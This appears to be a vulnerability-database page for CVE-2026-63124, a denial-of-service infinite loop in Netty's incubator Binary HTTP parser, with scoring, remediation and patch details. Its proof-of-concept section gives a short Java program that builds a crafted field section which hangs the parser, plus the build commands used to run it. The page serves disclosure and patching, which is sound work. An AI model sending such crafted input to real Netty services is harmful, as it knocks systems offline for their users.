CVE-2026-63124

HIGHPre-NVD 7.57.5
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 7.5 from GitHub Security Advisory (severity: HIGH) published 2026-08-20. The CNA's CVSS baseline 7.5; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory

Also known asGHSA-8cfx-wx3q-mh5q (GitHub Security Advisories)

7.5EG
EchelonGraph verdictPlan a fixRemediate within your standard update timelines (the SSVC decision on this page).
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 7.5Exploit: None knownExposed services: Not assessed

A fix is available — apply it.

netty-incubator-codec-ohttp: Binary HTTP parser infinite loop on known-length field section boundary

Summary

io.netty.incubator:netty-incubator-codec-bhttp can enter a non-terminating parse loop when a known-length Binary HTTP field section ends exactly after a complete field line. A remote peer that can send Binary HTTP input to a Netty pipeline using BinaryHttpParser / BinaryHttpDecoder can use a tiny malformed request or response to keep the parsing thread busy indefinitely, causing denial of service.

Details

In codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java, readFieldSection(...) tracks the remaining field-section length in fieldSectionLength, then repeatedly calls readFieldLine(...) until the length reaches zero:

  • readFieldSection(...) parses the known-length field section and enters while (fieldSectionLength != 0) at BinaryHttpParser.java:619.
  • Inside the loop, it records readableBytes, calls readFieldLine(...), computes read = readableBytes - in.readableBytes(), asserts read > 0, and subtracts read from fieldSectionLength at BinaryHttpParser.java:620-625.
  • readFieldLine(...) returns null without consuming bytes when the field line ends exactly at the end of the readable slice because it uses if (sumBytes >= in.readableBytes()) return null after adding the value length (BinaryHttpParser.java:678-681).
  • With JVM assertions disabled (the production default), assert read > 0 is not active. The parser therefore subtracts zero forever and never returns.

The boundary condition is reachable with a valid known-length field section containing exactly one complete field line and no extra byte after that line. Example field section: length 4, then name length 1, name a, value length 1, value b.

Proof of concept

Safe local verification performed in this repository:

  • Compile the module and classpath:

./mvnw -q -pl codec-bhttp -am compile test-compile
./mvnw -q -pl codec-bhttp dependency:build-classpath -Dmdep.outputFile=/tmp/codec-bhttp-cp.txt
printf '%s' "codec-bhttp/target/classes:$(cat /tmp/codec-bhttp-cp.txt)" > /tmp/codec-bhttp-run-cp.txt
  • Compile and run this minimal verifier with production-style assertions disabled:

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;
import io.netty.incubator.codec.bhttp.VarIntCodecUtils;
import java.nio.charset.StandardCharsets;

public final class VerifyBhttpHang { private static void writeAscii(ByteBuf out, String value) { VarIntCodecUtils.writeVariableLengthInteger(out, value.length()); out.writeCharSequence(value, StandardCharsets.US_ASCII); } public static void main(String[] args) { ByteBuf buffer = Unpooled.buffer(); VarIntCodecUtils.writeVariableLengthInteger(buffer, 0); // known-length request writeAscii(buffer, "GET"); writeAscii(buffer, "https"); writeAscii(buffer, "example.com"); writeAscii(buffer, "/"); VarIntCodecUtils.writeVariableLengthInteger(buffer, 4); // field section length writeAscii(buffer, "a"); writeAscii(buffer, "b"); new BinaryHttpParser(8192).parse(buffer, false); System.out.println("returned"); } }

Execution result observed locally:

timeout 3 java -cp "/tmp:$(cat /tmp/codec-bhttp-run-cp.txt)" VerifyBhttpHang
exit=124

Exit code 124 from timeout confirms the parser did not return within three seconds. When assertions are enabled by Surefire, the same payload fails at BinaryHttpParser.java:622 (assert read > 0), confirming the non-progress condition.

Impact

A peer that can deliver crafted BHTTP bytes can cause the parser to loop forever. In Netty deployments this can pin the event-loop thread or worker responsible for the channel, reducing or eliminating availability for other channels on the same event loop. Through OHTTP, the same parser is used after successful decryption of protected payloads, so authenticated/decryptable OHTTP peers can trigger the same condition in the inner BHTTP parser.

Suggested remediation

  • Treat readFieldLine(...) == null as incomplete input and return null from readFieldSection(...) instead of continuing.
  • Replace boundary checks in readFieldLine(...) that require an extra byte after a complete field line. A complete field line ending exactly at the known field-section boundary should be accepted.
  • Add a production runtime guard that throws a controlled decoder exception if a parser loop iteration makes no progress.
  • Add regression tests with JVM assertions disabled for known-length header and trailer field sections that end exactly at the field-section boundary.

References

  • codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:619-625
  • codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:678-681
  • RFC 9292: Binary Representation of HTTP Messages

CVSS v3
7.5
EG Score
7.5HIGHmedium confidence
EG Risk
34
EG Risk 34/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity75% × 45%
Impact severity (EG Severity): CVSS 7.5 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: A fix is available. Apply it within your standard update timelines.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (7.5): severity, escalated by confirmed exploitation. This CVE's 7.5 is its impact severity (EG Severity), not escalated.

EG Severity
7.5 HIGHCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

A fix is available. Apply it within your standard update timelines.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

August 20, 2026

Last Modified

August 20, 2026

Vendor Advisories for CVE-2026-63124(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
mavenio.netty.incubator:netty-incubator-codec-bhttp @ 0.0.23.Final (fixes <= 0.0.22.Final)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(1 across 1 ecosystem)
Maven(1)
PackageVulnerable rangeFix by version rangeDependents
io.netty.incubator:netty-incubator-codec-bhttp0.0.1.Final ... 0.0.9.Final (22 versions)
  • every version up to 0.0.23.Final: fixed in 0.0.23.Final
—

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 2× in last 7d / 8× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-01 07:41 UTCGHSA enrichmentGHSA-8cfx-wx3q-mh5q · GitHub severity HIGH · GitHub CVSS 7.5
  2. 2026-11-01 07:41 UTCEG score recompute
  3. 2026-10-25 14:13 UTCEG score recompute
  4. 2026-10-18 03:23 UTCEG score recompute
  5. 2026-10-12 15:49 UTCEG score recompute
  6. 2026-10-11 19:33 UTCEG score recompute
  7. 2026-10-11 16:48 UTCEG score recompute
  8. 2026-10-11 14:10 UTCEG score recompute
  9. 2026-09-29 03:44 UTCEG score recompute
  10. 2026-08-20 19:42 UTCEG score recomputeFirst assessed: 7.5 HIGH

Frequently asked(4)

What is CVE-2026-63124?
CVE-2026-63124 is a high-severity vulnerability; its CVE record was published on August 20, 2026. netty-incubator-codec-ohttp: Binary HTTP parser infinite loop on known-length field section boundary Summary io.netty.incubator:netty-incubator-codec-bhttp can enter a non-terminating parse loop when a known-length Binary HTTP field section ends exactly after a complete field line. A remote peer…
When was the CVE record for CVE-2026-63124 published?
The CVE record for CVE-2026-63124 was published on August 20, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of August 20, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-63124?
CVE-2026-63124 has a CVSS base score of 7.5 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-63124?
A fix for CVE-2026-63124 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2026-63124 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-63124

Explore →

Is Your Infrastructure Affected by CVE-2026-63124?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.